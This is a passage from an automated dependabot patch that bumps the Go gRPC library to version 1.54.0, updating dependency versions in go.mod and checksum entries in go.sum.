00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 24 Apr 2023 16:35:00 +0000 Subject: [PATCH 0444/1062] chore(deps): bump google.golang.org/grpc from 1.46.2 to 1.54.0 Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.46.2 to 1.54.0. - [Release notes](https://github.com/grpc/grpc-go/releases) - [Commits](https://github.com/grpc/grpc-go/compare/v1.46.2...v1.54.0) --- updated-dependencies: - dependency-name: google.golang.org/grpc dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 10 +++++----- go.sum | 40 +++++++++++++++++++++++++++++++++++----- 2 files changed, 40 insertions(+), 10 deletions(-) diff --git a/go.mod b/go.mod index 6e55d089ee..d9e233b4cf 100644 --- a/go.mod +++ b/go.mod @@ -37,8 +37,8 @@ require ( golang.org/x/net v0.8.0 golang.org/x/sys v0.6.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated - google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef - google.golang.org/grpc v1.52.0 + google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f + google.golang.org/grpc v1.54.0 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 google.golang.org/protobuf v1.28.1 ) @@ -52,15 +52,15 @@ require ( github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash v1.1.0 // indirect - github.com/cespare/xxhash/v2 v2.1.2 // indirect + github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/deepmap/oapi-codegen v1.8.2 // indirect github.com/dgraph-io/ristretto v0.0.2 // indirect - github.com/envoyproxy/protoc-gen-validate v0.3.0-java // indirect + github.com/envoyproxy/protoc-gen-validate v0.9.1 // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect github.com/ghodss/yaml v1.0.0 // indirect - github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b // indirect + github.com/golang/glog v1.0.0 // indirect github.com/google/uuid v1.3.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect github.com/huandu/xstrings v1.3.2 // indirect diff --git a/go.sum b/go.sum index 229a404d33..89fdc9a017 100644 --- a/go.sum +++ b/go.sum @@ -32,6 +32,7 @@ cloud.google.com/go v0.102.0/go.mod h1:oWcCzKlqJ5zgHQt9YsaeTY9KzIvjyy0ArmiBUgpQ+ cloud.google.com/go v0.102.1/go.mod h1:XZ77E9qnTEnrgEOvr4xzfdX5TRo7fB4T2F4O6+34hIU= cloud.google.com/go v0.104.0/go.mod h1:OO6xxXdJyvuJPcEPBLN9BJPD+jep5G1+2U5B5gkRYtA= cloud.google.com/go v0.105.0/go.mod h1:PrLgOJNe5nfE9UMxKxgXj4mD3voiP+YQ6gdt6KMFOKM= +cloud.google.com/go v0.107.0/go.mod h1:wpc2eNrD7hXUTy8EKS10jkxpZBjASrORK7goS+3YX2I= cloud.google.com/go/accessapproval v1.4.0/go.mod h1:zybIuC3KpDOvotz59lFe5qxRZx6C75OtwbisN56xYB4= cloud.google.com/go/accessapproval v1.5.0/go.mod h1:HFy3tuiGvMdcd/u+Cu5b9NkO1pEICJ46IR82PoUdplw= cloud.google.com/go/accesscontextmanager v1.3.0/go.mod h1:TgCBehyr5gNMz7ZaH9xubp+CE8dkrszb4oK9CWyvD4o= @@ -113,7 +114,9 @@ cloud.google.com/go/compute v1.12.0/go.mod h1:e8yNOBcBONZU1vJKCvCoDw/4JQsA0dpM4x cloud.google.com/go/compute v1.12.1/go.mod h1:e8yNOBcBONZU1vJKCvCoDw/4JQsA0dpM4x/6PIIOocU= cloud.google.com/go/compute v1.13.0/go.mod h1:5aPTS0cUNMIc1CE546K+Th6weJUNQErARyZtRXDJ8GE= cloud.google.com/go/compute v1.14.0/go.mod h1:YfLtxrj9sU4Yxv+sXzZkyPjEyPBZfXHUvjxega5vAdo= +cloud.google.com/go/compute v1.15.1/go.mod h1:bjjoF/NtFUrkD/urWfdHaKuOPDR5nWIs63rR+SXhcpA= cloud.google.com/go/compute/metadata v0.1.0/go.mod h1:Z1VN+bulIf6bt4P/C37K4DyZYZEXYonfTBHHFPO/4UU= +cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= cloud.google.com/go/compute/metadata v0.2.1/go.mod h1:jgHgmJd2RKBGzXqF5LR2EZMGxBkeanZ9wwa75XHJgOM= cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= cloud.google.com/go/contactcenterinsights v1.3.0/go.mod h1:Eu2oemoePuEFc/xKFPjbTuPSj0fYJcPls9TFlPNnHHY= @@ -421,11 +424,13 @@ github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6r github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= +github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= @@ -436,11 +441,14 @@ github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGX github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/udpa/go v0.0.0-20220112060539-c52dc94e7fbe/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= @@ -482,9 +490,12 @@ github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.m github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= +github.com/envoyproxy/go-control-plane v0.10.3/go.mod h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/envoyproxy/protoc-gen-validate v0.3.0-java h1:bV5JGEB1ouEzZa0hgVDFFiClrUEuGWRaAc/3mxR2QK0= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= +github.com/envoyproxy/protoc-gen-validate v0.9.1 h1:PS7VIOgmSVhWUEeZwTe7z7zouA22Cr590PzXKbZHOVY= +github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= @@ -520,8 +531,9 @@ github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7a github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/glog v1.0.0 h1:nfP3RFugxnNRyKgeWd4oI1nYvXpxrx8ck8ZrcizshdQ= +github.com/golang/glog v1.0.0/go.mod h1:EWib/APOK0SL3dFbYqvxE3UYd8E6s1ouQ7iEp/0LWV4= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= @@ -628,6 +640,8 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -662,6 +676,7 @@ github.com/hashicorp/serf v0.10.1/go.mod h1:yL2t6BqATOLGc5HF7qbFkTfXoPIY0WZdWHfE github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= +github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= @@ -763,6 +778,8 @@ github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.7 h1:p7ZhMD+KsSRozJr34udlUrhboJwWAgCg34+/ZZNvZZw= github.com/lib/pq v1.10.7/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= +github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= @@ -1009,6 +1026,7 @@ go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= +go.opentelemetry.io/proto/otlp v0.15.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= @@ -1083,6 +1101,7 @@ golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= @@ -1130,6 +1149,7 @@ golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96b golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= @@ -1144,6 +1164,7 @@ golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= @@ -1175,6 +1196,7 @@ golang.org/x/oauth2 v0.0.0-20220822191816-0ebed06d0094/go.mod h1:h4gKUeWbJ4rQPri golang.org/x/oauth2 v0.0.0-20220909003341-f21342109be1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= golang.org/x/oauth2 v0.0.0-20221006150949-b44042a4b9c1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.4.0/go.mod h1:RznEsdpjGAINPTOF0UH/t+xJ75L18YO3Ho6Pyn+uRec= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -1260,6 +1282,7 @@ golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -1282,6 +1305,7 @@ golang.org/x/sys v0.0.0-20220624220833-87e55d714810/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -1290,6 +1314,7 @@ golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc= golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= @@ -1380,6 +1405,7 @@ golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k= golang.org/x/tools v0.5.1-0.20230111220935-a7f7db3f17fc/go.mod h1:N+Kgy78s5I24c24dU8OfWNEotWjutIs8SnJvn5IDq+k= golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= @@ -1525,6 +1551,7 @@ google.golang.org/genproto v0.0.0-20220222213610-43724f9ea8cf/go.mod h1:kGP+zUP2 google.golang.org/genproto v0.0.0-20220304144024-325a89244dc8/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= google.golang.org/genproto v0.0.0-20220310185008-1973136f34c6/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= google.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2IFola2sVEjAn7MEwsja0xp51I0tlGAf9hz4E= +google.golang.org/genproto v0.0.0-20220329172620-7be39ac1afc7/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220407144326-9054f6ed7bac/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= @@ -1565,8 +1592,9 @@ google.golang.org/genproto v0.0.0-20221117204609-8f9c96812029/go.mod h1:rZS5c/ZV google.golang.org/genproto v0.0.0-20221118155620-16455021b5e6/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= google.golang.org/genproto v0.0.0-20221201164419-0e50fba7f41c/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= google.golang.org/genproto v0.0.0-20221202195650-67e5cbc046fd/go.mod h1:cTsE614GARnxrLsqKREzmNYJACSWWpAWdNMwnD7c2BE= -google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef h1:uQ2vjV/sHTsWSqdKeLqmwitzgvjMl7o4IdtHwUDXSJY= google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f 